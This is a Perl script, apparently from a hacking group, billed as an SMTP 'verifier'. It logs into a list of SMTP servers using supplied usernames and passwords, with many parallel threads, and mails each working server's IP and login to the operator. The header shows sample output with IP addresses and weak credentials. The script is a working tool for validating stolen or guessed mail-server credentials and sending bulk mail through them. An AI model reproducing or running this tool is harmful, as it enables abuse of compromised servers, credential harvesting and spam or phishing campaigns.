This script is a simple SMTP verification tool to send mail.
29691ca8cb6bda754e176a18b8693468f6a9dbe573a2dd8fc9e839a5211262d0
#!/usr/bin/perl
# Smtp Verifier . Easy , Simple , Faster , Bether .
#
# By Confirm @ #CodeX
# Contact: mail_sender@ymail.com
#
#
# Put Smtp List In File smtp.txt EX: 192.168.1.1 admin admin
# EX: 200.1.22.11 mail hackme
# require MIME::Base64;
# require Authen::SASL;
# use Net::SMTP;
# use Parallel::ForkManager;
#
# To Install Use This :
#
# perl -MCPAN -e 'install Parallel::ForkManager'
# perl -MCPAN -e 'install Authen::SASL'
# perl -MCPAN -e 'install Net::SMTP'
# perl -MCPAN -e 'MIME::Base64'
#
#
# [root@confirm admin]# perl check.pl
# Smtp Verefier By Confirm: Hit Enter
# From name <example: Test>: yahoo.com
# From address <example: user.com>: confirm@localhost.com
# Your email address <example: myemail.com>: herearethesmtp@list.com
# Maximum threads <example: 150>: 50
# Mail file <example: mail.txt>: mail.txt
# SMTP file <example: smtp.txt>: smtp.txt
#[+] Testing 204.232.250.23 admin 1234 | Done.
#[+] Testing 205.128.228.141 admin | Done.
#[+] Testing 205.128.228.143 admin admin123 | Done.
require MIME::Base64;
require Authen::SASL;
use Net::SMTP;
use Parallel::ForkManager;
print "From name <example: Test>: ";
my $name = <STDIN>;
chomp($name);
print "From address <example: user@domain.com>: ";
my $from = <STDIN>;
chomp($from);
print "Your email address <example: myemail@mydomain.com>: ";
my $to = <STDIN>;
chomp($to);
print "Maximum threads <example: 150>: ";
my $max = <STDIN>;
chomp($max);
print "Mail file <example: mail.txt>: ";
my $mail = <STDIN>;
chomp($mail);
print "SMTP file <example: smtp.txt>: ";
my $smtp = <STDIN>;
chomp($smtp);
open(INFO, $mail);
@boday = <INFO>;
close(INFO);
$body = "";
foreach $pew (@boday) {
$body.="$pew";
}
open(INFO, $smtp);
@content = <INFO>;
close(INFO);
$" = "";
$pm = new Parallel::ForkManager($max);
foreach $line (@content) {
chomp $line;
my $pid = $pm->start and next;
@info = split(/ /, $line);
$server = $info[0];
$username = $info[1];
$pass = $info[2];
$subject = $server.' - '.$username.'/'.$pass;
print "[+] Testing $server $username $pass | ";
$connection = Net::SMTP->new($server,
Timeout => 20,
Debug => 0);
if (!defined($connection) || !($connection)) {
print ("Error at connecting. Skipping.\n");
} else {
$connection->auth($username, $pass);
$connection->mail($from1);
$connection->to($to);
$connection->data;
$connection->datasend("From: $name <$from>\r\n");
$connection->datasend("To: $to\r\n");
$connection->datasend("Content-Type: text/html \r\n");
$connection->datasend("Subject: $subject\r\n");
$connection->datasend("\r\n");
$connection->datasend("$body\r\n");
$connection->datasend("\r\n");
$connection->dataend();
$connection->quit;
print ("Done.\n");
}
$pm->finish;
}